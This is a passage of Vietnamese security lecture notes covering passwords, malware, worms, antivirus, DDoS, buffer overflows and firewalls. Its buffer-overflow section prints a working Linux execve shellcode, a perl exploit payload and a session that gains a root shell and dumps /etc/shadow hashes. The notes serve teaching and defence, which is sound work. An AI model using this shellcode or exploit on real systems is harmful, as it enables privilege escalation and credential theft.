o Bảo vệ hiệu quả cần làm việc cùng nhau để phát hiện xâm nhập
o Các vấn đề
 Làm việc với nhiều định dạng bản ghi kiểm tra khác nhau
 Toàn vẹn và bảo mật dữ liệu trên mạng
 Kiến trúc tập trung và phân tán
Sử dụng bình mật ong
o Chăng lưới thu hút các kẻ tấn công
 Tách khỏi sự truy cập đến các hệ thống then chốt
 Để thu thập các thông tin về hoạt động của chúng
 Kích thích kẻ tấn công ở lại trong hệ thống để người quản trị có thể
phán đoán
o Được cấp đầy đủ các thông tin bịa đặt
 - 129 -
o Được trang bị để thu thập chi tiết thông tin về hoạt động của kẻ tấn công
o Hệ thống mạng đơn và lặp
VIII.1.5 Quản trị mật khẩu
o Là bảo vệ tuyến đầu chống kẻ xâm nhập
o Người sử dụng được cung cấp cả hai:
 Login – xác định đặc quyền của người sử dụng
 Password – xác định danh tính của họ
o Passwords thường được lưu trữ mã hoá
 Unix sử dụng DES lặp
 Các hệ thống gần đây sử dụng hàm hash
o Cần phải bảo vệ file passwords trong hệ thống

Tìm hiểu về mật khẩu

o Purdue 1992 – có nhiều mật khẩu ngắn
o Klein 1990 – có nhiều mật khẩu đoán được
o Kết luận là người sử dụng thường chọn các mật khẩu không tốt
o Cần một cách tiếp cận để chống lại điều đó
Tạo mật khẩu - cần giáo dục cách tạo mật khẩu
o Cần có chính sách và giáo dục người sử dụng
o Giáo dục tầm quan trọng của mật khẩu tốt
o Cho định hướng mật khẩu tốt
 độ dài tối thiểu > 6
 đòi hỏi trộn chữ hoa và chữ thường, số và dấu chấm
 không chọn từ trong từ điển
o Nhưng nên chọn sao cho nhiều người không để ý
Tạo mật khẩu – máy tính tự sinh
o Cho máy tính tự tạo mật khẩu
o Nếu ngẫu nhiên không dễ nhớ, thì sẽ viết xuống (hội chứng nhãn khó
chịu)
o Ngay cả phát âm được cũng không nhớ
o Có câu chuyện về việc chấp nhận của người sử dụng tồi
o FIPS PUB 181 là một trong những bộ sinh tốt nhất
 Có cả mô tả và code ví dụ
 Sinh từ việc ghép ngẫu nhiên các âm tiết phát âm được
Tạo mật khẩu - kiểm tra trước
o Cách tiếp cận hưá hẹn nhất để có thể cải thiện an toàn mật khẩu
o Cho phép người sử dụng chọn trước mật khẩu của mình
o Nhưng để cho hệ thống kiểm chứng xem nó có chấp nhận được không
 Bắt buộc theo qui tắc đơn giản
 So sánh với từ điển các mật khẩu tồi
 Sử dụng mô hình thuật toán Markov hoặc bộ lọc để chống các cách
chọn tồi
 - 130 -
VIII.2 Phần mềm có hại
VIII.2.1 Các kiểu phần mềm có hại khác ngoài Virus
Virus máy tính đã được công bố rất nhiều, là một trong những phần mềm có hại. Tác
động của nó mọi người đều biết, đã được nêu trong các báo cáo, viễn tưởng và phim
ảnh, gây nhiều chú ý hơn là tán thưởng và được quan tâm nhiều để phòng chống.
1. Cửa sau hoặc cửa sập
Điểm vào chương trình bí mật, cho phép những người biết truy cập mà bỏ qua các thủ
tục an toàn thông thường. Kỹ thuật này có thể được sử dụng chung bởi những người
phát triển và là mối đe doạ khi để trong chương trình sản phẩm cho phép khai thác
bởi các kẻ tấn công. Rất khó ngăn chặn trong hệ điều hành, đòi hỏi sự phát triển và
cập nhật phần mềm tốt.
2. Bom logic
Đây là một trong những phần mềm có hại kiểu cổ, code được nhúng trong chương
trình hợp pháp. Nó được kích hoạt khi gặp điều kiện xác định
o Có mặt hoặc vắng mặt một số file
o Ngày tháng/thời gian cụ thể
o Người sử dụng nào đó
Khi được kích hoạt thông thường nó làm hỏng hệ thống
o Biến đổi/xoá file/đĩa, làm dừng máy,…
3. Ngựa thành Tơ roa
Chương trình với các tác động phụ được dấu kín, mà thông thường rất hấp dẫn như
trò chơi hoặc phần mềm nâng cấp. Khi chạy thực hiện những nhiệm vụ bổ sung, cho
phép kẻ tấn công gián tiếp dành quyền truy cập mà họ không thể trực tiếp. Thông
thường sử dụng lan truyền virrus/sâu (worm) hoặc cài đặt cửa sau hoặc đơn giản phá
hoại dữ liệu.
4. Zombie
Đây là chương trình bí mật điều khiển máy tính của mạng khác và sử dụng nó để gián
tiếp tiến hành các tấn công. Thông thường sử dụng để khởi động tấn công từ chối các
dịch vụ phân tán (DdoS). Khai thác các lỗ hổng trong các hệ thống.
VIII.2.2 Virus
Virus là đoạn code tự sinh lặp đính kèm với code khác như virus sinh học. Cả hai đều
lan truyền tự nó và mang đi bộ tải
o Mang theo code để tạo các bản sao của chính nó
o Và cũng như mọi code nó cũng thực hiện nhiệm vụ ngầm nào đó
Thao tác của virus
Các giai đoạn của virus
o Nằm im - chờ sự kiện kích hoạt
o Lan truyền – lặp sinh ra chương trình/đĩa
o Kích hoạt - bởi sự kiện để thực hiện bộ tải
o Thực hiện bộ tải
o Cụ thể thông thường mang tính chất chuyên biệt của các máy và hệ điều
hành. Nó khai thác các tính chất và điểm yếu
Cấu trúc Virus
program V :=
{goto main;
1234567;
 - 131 -
subroutine infect-executable := {loop:
file := get-random-executable-file;
if (first-line-of-file = 1234567) then goto loop
else prepend V to file; }
subroutine do-damage := {whatever damage is to be done}
subroutine trigger-pulled := {return true if condition holds}
main: main-program := {infect-executable;
if trigger-pulled then do-damage;
goto next;}
next:
}
Các kiểu Virus
Có thể phân loại dựa trên kiểu tấn công
o Virus ăn bám
o Virus cư trú ở bộ nhớ
o Virus ở sector khởi động
o Lén lút
o Virus nhiều hình thái
o Virus biến hoá

1. Marco Virus
Marco code đính kèm file dữ liệu, được dịch bởi chương trình sử dụng file
o Như marco của Word/Excel
o Sử dụng lệnh tự động và lệnh marco
Đây là đoạn code là độc lập với nền tảng, là đoạn nguồn chính của sự lan nhiễm
virus. Có sự khác biệt không rõ ràng giữa dữ liệu và file chương trình, thông thường
có sự thoả hiệp truyền thống: “dễ dàng sử dụng” và “an toàn”. Đã có sự cải thiện an
toàn trong Word, không trội hơn sự đe doạ của virus.

2. Virus email
Đây là loại virus lan truyền sử dụng email được đính kèm chứa marco virus như
Melissa. Thường được kích hoạt khi người sử dụng mở file đính kèm hoặc ít khi hơn
khi mail được xem sử dụng một tính chất script của tác nhân mail. Do đó sẽ lan
truyền rất nhanh, thông thường đích là tác nhân mail Microsoft Outlook hoặc tài liệu
Word /Excel. Cần an toàn ứng dụng và hệ điều hành tốt hơn

3. Sâu
Đây là chương trình sinh lặp nhưng không có tác động, thường lan truyền trên mạng
o Như sâu Internet Morris 1988
o Dẫn đến việc tạo ra các đội ứng cứu khẩn cấp máy tính CERT
o Dùng đặc quyền phân tán hoặc khai thác các điểm yếu hệ thống
o Được sử dụng rộng rãi bởi Hackers để tạo zombie PC, kéo theo sử dụng
các tấn công khác, đặc biệt từ chối dich vụ DoS
Vấn đề chính là mất sự an toàn của hệ thống kết nối thường xuyên như PC.

Thao tác của sâu

 - 132 -
Các giai đoạn của sâu giống như virus:
o Nằm im
o Lan truyền
 Tìm hệ thống khác để tác động
 Thiết lập kết nội với hệ thống đích từ xa
 Tự sinh lặp mình cho hệ thống từ xa
o Kích hoạt
o Thực hiện
4. Sâu Morrris
Sâu Morris là loại sâu cổ điển, được tạo bởi Robert Morris vào 1988, nhằm tới các hệ
thống Unix. Ở đây sử dụng một số kỹ thuật lan truyền, như
o Phá mật khẩu đơn giản trong file mật khẩu cục bộ
o Khai thác lỗ hổng
o Tìm lỗi cửa sập trong hệ thống mail
Mọi tấn công thành công sẽ sinh lặp nó.
5. Tấn công của sâu đương thời
Làn sóng tấn công của sâu đương thời mới từ giữa 2001 như:
- Code Red - sử dụng lỗ hổng MS IIS:
o Thử IP ngẫu nhiên cho hệ thống chạy IIS
o Có kích hoạt thời gian cho tấn công từ chối dịch vụ
o Làn sóng thứ hai tác động đến 360000 máy chủ trong vòng 14 giờ
- Code Red 2 – cài đặt cửa sập
- Nimda – cơ chế tác động lặp
- SQL Slammer – đã tấn công máy chủ MS SQL
- Sobig – đã tấn công máy chủ proxy mở
- Mydoom – sâu email có số lượng lớn và có cửa sau
6. Công nghệ sâu
Các đặc tính của công nghệ sâu là tấn công đa nền tảng, khai thác nhiều chiều, lan
truyền cực nhanh, có nhiều kiểu tác động, biến hoá, cơ động và khai thác zero day.

7. Các biện pháp chống Virus

Biện pháp tốt nhất là ngăn ngừa, nhưng nói chung là không thể. Do đó
cần phải có một trong nhiều biện pháp sau:
o Phát hiện virus nhiễm trong hệ thống
o Định danh loại virus nhiễm
o Loại bỏ khôi phục hệ thống về trạng thái sạch
8. Phần mềm chống Virus
Phần mềm thuộc thế hệ đầu tiên
o Quét sử dụng chữ ký của virus để định danh
o Hoặc phát hiện sự thay đổi độ dài của chương trình
Phần mềm thuộc thế hệ thứ hai
o Sử dụng các qui tắc trực quan để phát hiện nhiễm virus
o Sử dụng mã hash của chương trình để phát hiện sự thay đổi
Phần mềm thuộc thế hệ thứ ba
o Chương trình thường trú trong bộ nhớ định danh virus theo hành động
 - 133 -
Phần mềm thuộc thế hệ thứ tư
 Đóng gói với rất nhiều kiểu kỹ thuật chống virus
 Quét và lần vết tích cực, kiểm soát truy cập
Phương pháp diệt bằng tay vẫn được dùng.

9. Kỹ thuật chống Virus nâng cao

Giải mã mẫu
o Sử dụng mô phỏng CPU kiểm tra chương trình, chữ ký và hành vi trước
khi chạy chúng
Dùng Hệ thống miễn dịch số (IBM)
o Hành động đa muc tiêu và chống Virus
o Mọi virus nhập vào tổ chức được nắm bắt, phân tích, phát hiện/tấm chắn
tạo ra chống nó và loại bỏ

Sau đây là sơ đồ Hệ miễn dịch số (Digital Immune System)

VIII.2.3 Phần mềm ngăn chặn hành vi

Các phần mềm này được tích hợp với hệ điều hành của máy chủ.
Chương trình theo dõi các hành vi trong thời gian thực
o Chẳng hạn truy cập file, định dạng đĩa, các chế độ thực hiện, thay đổi
tham số hệ thống, truy cập mạng
Đối với các hành động có khả năng có hại
o Nếu phát hiện thì ngăn chặn, chấm dứt hoặc tìm kiếm
Có ưu điểm so với quét, nhưng code có hại chạy trước khi phát hiện.

1. Tấn công từ chối dịch vụ từ xa

Tấn công từ chối dịch vụ từ xa (DDoS) tạo thành đe dọa đáng kể, làm cho hệ thống
trở nên không sẵn sàng, làm tràn bởi sự vận chuyển vô ích.
 - 134 -
Kẻ tấn công thường sử dụng một số lớn các “zombies”, tăng độ khó của các tấn công.
Công nghệ bảo vệ tìm các biện pháp đương đầu chống lại

2. Tìm hiểu cách kẻ thù xây dựng mạng lưới tấn công từ chối dịch vụ từ xa
Từ chối dịch vụ có hiệu lực khi bị nhiễm rất nhiều “zombies”. Để thực hiện được điều
đó cần có:
- Phần mềm cài đặt tấn công từ chối dịch vụ từ xa
- Các lỗ hổng không vá được trong nhiều hệ thống
- Chiến lược quét để tìm lỗ hổng hệ thống: sử dụng các yếu tố ngẫu nhiên, lập danh
sách va chạm, tìm hiểu cấu trúc topo, mạng con cục bộ.
3. Chống tấn công từ chối dịch vụ từ xa (DDoS)
Có ba cách bảo vệ sau đây được dùng rộng rãi
- Ngăn ngừa tấn công và chiếm lĩnh trước.
- Phát hiện tấn công và lọc trong quá trình sử dụng dịch vụ
- Lần vết nguồn tấn công và xác định sự tấn công sau khi sử dụng xong dịch vụ.
Nói chung có phạm vi rộng các khả năng tấn công, vì vậy phải có nhiều biện pháp
chống và sử dụng kết hợp chúng.

VIII.3 Tràn bộ đệm

Tràn bộ đệm là cơ chế tấn công rất phổ biến bắt đầu từ 1988 xuất hiện sâu Morris đến
Code Red, Slammer, Sasser và nhiều cái khác nữa. Các kỹ thuật phòng chống đều đã biết.
Tuy nhiên vẫn còn là vấn đề phải quan tâm vì di truyền từ các con rệp đã lây lan rộng rãi.
Vì vẫn còn các kỹ thuật lập trình không cẩn thận.
Cơ sở của việc tràn bộ nhớ: sinh bởi do lỗi lập trình, cho quá nhiều dữ liệu lưu trữ hơn
khả năng cho phép trong bộ đệm kích thước cố định. Bộ đệm có thể trên ngăn xếp, đống,
 - 135 -
dữ liệu tổng thể. Viết đè các vị trí nhớ cận kề, làm hỏng dữ liệu của chương trình, truyền
điều khiển không mong muốn, vi phạm truy cập bộ nhớ, thực hiện code của kẻ tấn công

VIII.3.1 Ví dụ tràn bộ nhớ

int main(int argc, char *argv[]) {

int valid = FALSE;
char str1[8];
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);

Bu
}

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)

Xét chương trình C trên. Ở đây có ba biến, thông thường lưu trong vùng nhớ liền kề. Gọi
chương trình con copy vào str1 dữ liệu Start. Sau đó đọc đầu vào sử dụng hàm gets lưu
vào str2. Sau đó so sánh đầu vào với xâu Start. Nếu thành công valid = true. Vấn đề hàm
thư viện gets của C không kiểm tra độ lớn dữ liệu đọc vào. Nếu nhiều hơn 7 ký tự nó đòi
hỏi bộ nhớ nhiều hơn. Khi đó dữ liệu thừa viết đè dữ liệu của biến kề, trong trường hợp
này là str1. Giả sử xâu đầu vào là “EVILINPUTVALUE”, kết quả xâu Str1 bị viết đè với
các ký tự “TVALUE”. Xâu str2 không chỉ sử dụng 8 ký tự của nó mà còn thêm 7 ký tự
từ str1. Biết cấu trúc trên, kẻ tấn công có thể thu xếp sao cho giá trị xâu Str1 vẫn bằng
Str2. Chẳng hạn nếu nhập xâu đầu vào là “BADINPUTBADINPUT” thì trong phép so
sánh kết quả vẫn đúng như trong lần chạy thứ ba trong ví dụ trên.

VIII.3.2 Tấn công tràn bộ nhớ. Để làm tràn bộ đệm, kẻ tấn công cần phải phát hiện lỗ
hổng tràn bộ đệm trong chương trình nào đó. Theo dõi, lần theo vết thực hiện, sử dụng
các công cụ ẩn. Hiểu bộ đệm lưu trong bộ nhớ như thế nào và xác định khả năng phá
hỏng.
 - 136 -

Funct
Một chút về lịch sử ngôn ngữ lập trình. Ở mức ngôn ngữ máy mọi dữ liệu là mảng các
bytes, thông dịch phụ thuộc vào các chỉ lệnh được dùng. Ngôn ngữ bậc cao hiện đại có
định nghĩa chặt về kiểu và các phép toán đúng. Không có lỗ hổng tràn bộ đệm, được
lường trước, giới hạn khi dùng.
C và ngôn ngữ liên quan có cấu trúc điều khiển bậc cao, nhưng cho phép truy cập trực
tiếp đến bộ nhớ. Vì vậy có lỗ hổng tràn bộ đệm. Có kế thừa lớn các code không an toàn,
đang được sử dụng rộng rãi, nên có lỗ hổng.
Để hiểu hơn tạo sao lại tràn bộ nhớ, mà không khắc phục được, ta xem xét cơ chế mà lời
gọi hàm quản lý trạng thái cục bộ cho mỗi lời gọi. Khi một hàm gọi hàm khác, nó cần
phải lưu ở đâu đó địa chỉ trả về để hàm được gọi khi kết thúc trả điều khiển cho hàm gọi.
Bên cạnh đó cũng cần có chỗ để cất một số tham số mà cần truyền cho hàm được gọi và
cũng cần lưu các giá trị thanh ghi của hàm gọi mà cần được sử dụng khi hàm được gọi
kết thúc. Thông thường mọi dữ liệu này được cất ở khung ngăn xếp (stack frame). Mỗi
lần gọi hàm lại sinh ra một khung ngăn xếp liên kết.
Tràn bộ đệm ngăn xếp xảy ra khi bộ đệm đặt trên ngăn xếp. Nó được khai thác bởi sâu
Morris. Bài báo “Smashing the Stack” tuyên truyền nó. Có biến cục bộ phía dưới con trỏ
khung lưu trữ và địa chỉ trả lại. Vì vậy tràn bộ đệm cục bộ có nhiều khả năng viết đè các
mục điều khiển chính. Kẻ tấn công viết đè địa chỉ trả về với địa chỉ của đọan code cài
vào. Đó có thể là địa chỉ của chương trình, thư viện hệ thống hoặc tải vào bộ đệm.
Chúng ta xem cấu tạo vùng nhớ, nơi cất chương trình đang chạy, dữ liệu tổng thể, đống
và ngăn xếp. Khi chương trình chạy, hệ điều hành tạo ra một tiến trình cho nó. Tiến trình
được cho bởi không gian ảo của riêng nó với cấu trúc như trên hình vẽ sau. Nó bao gồm
nội dung chương trình đang chạy, trong đó có dữ liệu tổng thể, bảng cấp bộ nhớ, code của
chương trình ở gần đáy của không gian nhớ này. Trên đó không gian cho đống tăng dần
lên và trên nữa là không gian cho ngăn xếp giảm dần xuống.
 - 137 -

Pro
Để mô tả tràn bộ đệm ngăn xếp ta xét chương trình C sau. Nó chứa biến cục bộ duy nhất,
bộ đệm inp. Hàm Hello nhắc nhập tên mà được đọc vào bộ đệm nhờ hàm thư viện không
an toàn gets(). Sau đó hiện kết quả đọc được nhờ hàm thư viện printf (). Nếu giá trị nhỏ
được đọc thì ở đây không có vấn đề gì. Chương trình gọi hàm sẽ chạy thành công như
trong lần chạy thứ nhất trên hình sau đó. Nếu dữ liệu lớn như trong lần chạy thứ hai, dữ
liệu sẽ vượt qua cuối bộ đệm và ghi đè lên con trỏ khung lưu trữ và trả về địa chỉ sai
tương ứng với biểu diễn nhị phân của các ký tự. Và khi hàm trả điều khiển cho địa chỉ trả
về, nó nhảy đến vị trí bộ nhớ không hợp lệ, báo lỗi “Segmentation Fault” và dừng
chương trình không bình thường như thông báo trên hình sau đó. Kẻ tấn công tận dụng
cơ hội này để truyền điều khiển về chương trình đã định trước.
 - 138 -

void hello(char *tag)

{
char inp[16];
printf("Enter value for %s: ", tag);
gets(inp);
printf("Hello your %s is %s\n", tag,
inp);
}

$ cc -g -o buffer2 buffer2.c

$ ./buffer2

Sta
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
$ perl -e 'print pack("H*",
"414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value forKyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)

VIII.3.3 Code che đậy (Shellcode)

Đây là code chương trình được chuẩn bị bởi kẻ tấn công. Nó được lưu trong bộ nhớ bị
tràn và kẻ tấn công tìm cách chuyển điều khiển sang cho shell.

nop
nop // end ofnop sled
jmp find // jump to e nd of code
cont: pop %esi // pop address ofsh off stack into %esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of stringsh (%esi)
lea (%esi),%ebx // load address of sh (%esi) into %ebx
mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
mov $0xb,%al // copyexecve syscall number (11) to AL
mov %esi,%ebx // copy address ofsh (%esi) t0 %ebx
lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
int $0x80 // software interrupt to execute syscall
find: call cont // c all cont which saves next address on stack
sh: .string "/bin/sh " // string constant
args: .long 0 // s pace used forargs array
.long 0 // args[1] and also NULL for env array

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0ccd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
 - 139 -

$ dir -l buffer4
-rwsr-xr-x 1 ro ot knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Per mission denied

$ cat attack1
perl -e 'print pack(" H*",
"90909090909090909090 909090909090
" .
"90909090909090909090 909090909090
" .
"9090eb1a5e31c0884607 8d1e895e0889
" .
"460cb00b89f38d4e088d 560ccd80e8e1
" .

Exam
"fffff f2f62696e2f7368202020202020" .
"202020202020202038fc ffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shado w\n";'

$ attack1 | buffer4
Enter value for name: Hello youryyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7 JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:9999 9:7:::
...
nobody:*:11453:0:9999 9:7:::
knoppix:$1$FvZSBKBu$E dSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...

Phát triển code che đậy

Trong ví dụ trên mô tả với Intel Linux shellcode cơ bản để chạy bản dịch Bourne shell.
Shellcode cần phải phù hợp với đối số cho execve(). Nó bao gồm mọi code để gọi hàm
của hệ thống, phải độc lập với vị trí và không chứa NULLs – xâu kết thúc của C.
Thông thường chương trình che đậy dưới vỏ bọc là tiện ích hệ thống đáng tin cậy, dịch
vụ mạng đặc biệt, code thư viện được sử dụng chung, như hình ảnh.
Các hàm của shellcode: giao diện tự sinh, tạo đối tượng nghe để khởi tạo giao diện kết
nối, tạo kết nối ngược lại tới kẻ tấn công, vượt qua các qui tắc tường lửa, thoát khỏi môi
trường thực thi hạn chế.

VIII.3.4 Bảo vệ tràn bộ nhớ

Tràn bộ đệm được khai thác rộng rãi, có nhiều code có lỗ hổng đang dùng. Mặc dù
nguyên nhân và các biện pháp chống đã biết. Có hai cách chống rộng rãi: chương trình
mới được gia cố trong thời gian dịch và kiểm soát tấn công chương trình đang có trong
thời gian chạy.
Nếu sử dụng ngôn ngữ bậc cao với kiểu mạnh , thì sẽ không có lỗ hổng tràn bộ đệm.
Chương trình dịch buộc kiểm tra cỡ và các thao tác cho phép trên các biến. Khi đó phải
trả giá khi sử dụng nguồn và hạn chế truy cập đến phần cứng. Tuy nhiên vẫn cần một số
code của các ngôn ngữ giống C.

Bảo vệ trong thời gian dịch

Thiết lập các kỹ thuật lập trình an toàn. Nếu sử dụng ngôn ngữ tiềm ẩn không an toàn
như C, lập trình viên cần viết code an toàn một cách tường minh. Bằng thiết kế với code
 - 140 -
mới, sau khi xem xét code cũ. Xem an toàn tràn bộ đệm như tập con các kỹ thuật lập
trình an toàn nói chung. Chú ý đến các lỗi nhỏ, kiểm tra đủ không gian trong bộ đệm bất
kỳ.
Có đề nghị mở rộng an toàn cho C như tạo điểm phạt thực thi, cần dịch chương trình với
chương trình dịch đặc biệt. Có một số phương án thư viện chuẩn an toàn, các hàm mới,
như strlcpy(). Cài đặt lại an toàn hơn một số hàm chuẩn như thư viện động, chẳng hạn
Libsafe.
Bổ sung code của chức năng nhập và thoát để kiểm tra ngăn xếp ghi nhận việc ghi đè, sử
dụng yếu tố ngẫu nhiên như bảo vệ ngăn xếp, kiểm tra viết đè giữa biến cục bộ và con trỏ
khung lưu trữ và địa chỉ trả về. Chương trình dừng nếu phát hiện thay đổi. Phát hành: bản
dịch lại, hỗ trợ phát hiện lỗi hoặc copy an toàn lưu trữ/kiểm tra địa chỉ trả về.

Bảo vệ trong thời gian chạy

Sử dụng hỗ trợ bộ nhớ ảo để tạo một số vùng bộ nhớ không thực thi được như stack,
heap, global data. Cần hỗ trợ từ các phần cứng bộ nhớ như trong SPARC / Solaris
systems, x86 Linux/Unix/Windows systems. Phát hành hỗ trợ cho code ngăn xếp thực
thi, cần một số dự phòng đặc biệt.
Thao tác trên vị trí của các cấu trúc dữ liệu chính, sử dụng tịnh tiến ngẫu nhiên cho mỗi
tiến trình, có vùng địa chỉ lớn trên các phương tiện của các hệ thống hiện đại chống các
va chạm và đoán địa chỉ bộ đệm đích là không thể. Vị trí ngẫu nhiên cho bộ đệm heap và
vị trí các hàm thư viện chuẩn. Đặt các trang bảo vệ giữa các vùng quan trọng của bộ nhớ,
đặt cờ trong bộ nhớ như địa chỉ không hợp lệ. Có thể ngay cả đặt giữa các khung ngăn
xếp và các bộ đệm heap trong thời gian thực thi và phải trả giá về không gian.
Có nhiều các phương án tấn công khác: phương án tràn ngăn xếp, tràn heap, tràn dữ liệu
tổng thể, tràn xâu định dạng, tràn số nguyên. Có thể có nhiều hơn nữa được phát hiện
trong tương lai. Một số không thể ngăn chặn trừ khi code an toàn lúc ban đầu.
Phương án tràn ngăn xếp chỉ viết đè bộ đệm và con trỏ khung lưu trữ trả về xảy ra nhưng
đến khung giả trả về lời gọi hàm điều khiển bởi kẻ tấn công được dùng khi có tràn bộ
đệm giới hạn. Ví dụ tách ra bởi một khung. Tuy có các hạn chế: cần biết địa chỉ chính xác
của bộ đệm, hàm gọi thực hiện với khung giả, phương án tràn ngăn xếp thay địa chỉ trả về
bằng hàm thư viện chuẩn để đáp lại sự bảo vệ ngăn xếp không thực thi. Kẻ tấn công xây
dựng các tham số phù hợp trên ngăn xếp phía trên địa chi trả về. Kẻ tấn công có thể cần
địa chỉ chính xác của bộ đệm, có thể ngay cả kết nối hai lời gọi thư viện.
Cũng có tấn công bộ đệm đặt trong heap. Thông thường đặt trên code của chương trình,
bộ nhớ được yêu cầu bởi chương trình để sử dụng cho các cấu trúc dữ liệu động, ví dụ
như danh sách móc nối. Không có địa chỉ trả về, nên không có chuyển giao quyền điều
khiển dễ dàng. Có thể có con trỏ hàm để khai thác hoặc thao tác cấu trúc dữ liệu quản trị.
Cách bảo vệ là dùng heap ngẫu nhiên và không thực thi.
Có thể tấn công bộ đệm đặt trong dữ liệu tổng thể. Có thể đặt phía trên code của chương
trình. Nếu có con trỏ hàm và bộ đệm có lỗ hổng hoặc bảng quản trị các quá trình liền kề.
Nhắm tới viết đè con trỏ hàm được gọi sau đó. Cách bảo vệ là dùng vùng dữ liệu tổng thể
ngẫu nhiên và không thực thi, dịch chuyển con trỏ hàm, các trang bảo vệ.
 - 141 -

VIII.4 Bức tường lửa

VIII.4.1 Mở đầu
Bức tường lửa phát triển mạnh mẽ, được ứng dụng trong các các hệ thống thông tin.
Bây giờ mọi người đều muốn lên Internet và các mạng liên kết với nhau. Vì vậy cần
quan tâm thường xuyên về an toàn. Không dễ dàng bảo vệ từng hệ thống trong tổ
chức. Thông thường sử dụng bức tường lửa, cung cấp vòng bảo vệ như một phần của
chiến lược an toàn toàn diện.
Bức tường lửa là gì
Là điểm cổ chai để kiểm soát và theo dõi. Các mạng liên kết với độ tin cậy khác nhau,
buộc có hạn chế trên các dịch vụ của mạng. Chẳng hạn, vận chuyển phải có giấy
phép. Kiểm tra và kiểm soát truy cập, có thể cài đặt cảnh báo các hành vi bất thường.
Cung cấp bảng NAT và sử dụng theo dõi giám sát. Cài đặt mạng riêng ảo (VPN) sử
dụng cơ chế an toàn IPSec. Có thể miễn dịch trước.
Hạn chế của bức tường lửa
Không bảo vệ được các tấn công đi vòng qua nó, chẳng hạn mạng lén lút, thiết bị
modems. Nó ngăn cản cả các tổ chức tin cậy và dịch vụ tin cậy (SSL/SSH).
Không bảo vệ chống các mối đe dọa từ bên trong, chẳng hạn như những nhân viên
bực tức hoặc thông đồng với kẻ xấu. Không thể bảo vệ chống việc truyền các chương
trình hoặc file nhiễm virus, vì có phạm vi rất rộng các dạng file và các hệ điều hành
VIII.4.2 Bức tường lửa – các lọc gói
Là thành phần của bức tường lửa nhanh nhất và đơn giản nhất, là cơ sở của mọi hệ
thống tường lửa. Nó kiểm tra mỗi gói IP (không có ngữ cảnh) và cho phép hay từ chối
tuỳ theo qui tắc xác định. Suy ra có hạn chế truy cập đến các dịch vụ và các cổng.
Các đường lối mặc định có thể
o Rằng không cho phép tức là cấm
o Rằng không cấm tức là cho phép
 - 142 -

Tấn công các lọc gói

Địa chỉ IP lừa đảo: giả địa chỉ nguồn làm cho tin tưởng, bổ sung bộ lọc lên mạch
chuyển để ngăn chặn.
Tấn công mạch truyền gốc: kẻ tấn công đặt được truyền khác với mặc định, ngăn
chặn các gói truyền gốc
Tấn công các đoạn tin (fragment) nhỏ. Chia thông tin phần đầu thành một số đoạn
nhỏ. Hoặc bỏ qua hoặc sắp xếp lại trước khi kiểm tra

Bức tường lửa – các lọc gói trạng thái

Lọc gói truyền thống không kiểm tra ngữ cảnh của tầng cao hơn, tức là sánh các gói
về với dòng chảy ra. Lọc gói trạng thái hướng đến yêu cầu đó. Chúng kiểm tra mỗi
gói IP trong ngữ cảnh: giữ vết theo dõi với các kỳ client-server, kiểm tra từng gói
đúng thuộc vào một phiên. Suy ra có khả năng tốt hơn phát hiện các gói giả tách khỏi
ngữ cảnh.

VIII.4.3 Bức tường lửa – cổng giao tiếp ở tầng ứng dụng (hoặc proxy)
Có cổng giao tiếp chuyên dùng cho ứng dụng – proxy (người được uỷ quyền).
Có truy cập đầy đủ đến giao thức
o Người sử dụng yêu cầu dịch vụ từ proxy
o Proxy kiểm tra các yêu cầu có hợp lệ không
o Sau đó xử lý yêu cầu và trả lời cho người sử dụng
o Có thể vào/theo dõi vận chuyển ở tầng ứng dụng
Cần các proxies khác nhau cho mỗi dịch vụ
o Một số dịch vụ hỗ trợ một cách tự nhiên proxy
o Những loại khác thì cần giải quyết một số vấn đề
 - 143 -

VIII.4.4 Bức tường lửa - cổng giao tiếp mức mạch vòng
Chuyển tiếp 2 kết nối TCP. Có sự an toàn bằng cách hạn chế mà các kết nối này cho
phép. Mỗi lần tạo ra chuyển tiếp thông thường không kiểm tra nội dung. Thông thường
được sử dụng khi tin cậy người sử dụng bên trong bằng cách cho phép các kết nối ra
ngoài nói chung. Gói SOCKS được sử dụng rộng rãi cho mục đích này.

VIII.4.5 Máy chủ Bastion

Hệ thống máy chủ an toàn cao. Chạy cổng giao tiếp mức ứng dụng và mạch vòng.
Hoặc cung cấp các dịch vụ truy cập bên ngoài. Có tiềm năng thể hiện các yếu tố của
máy chủ. Vì an toàn bền vững, nên hệ điều hành nặng nề hơn, các dịch vụ chính, bổ
sung xác thực, proxies nhỏ, an toàn, độc lập, không đặc quyền.
Có thể hỗ trợ 2 hay nhiều hơn kết nối mạng và có thể được tin cậy để ép buộc chính
sách tách bạch tin cậy giữa các kết nối mạng.

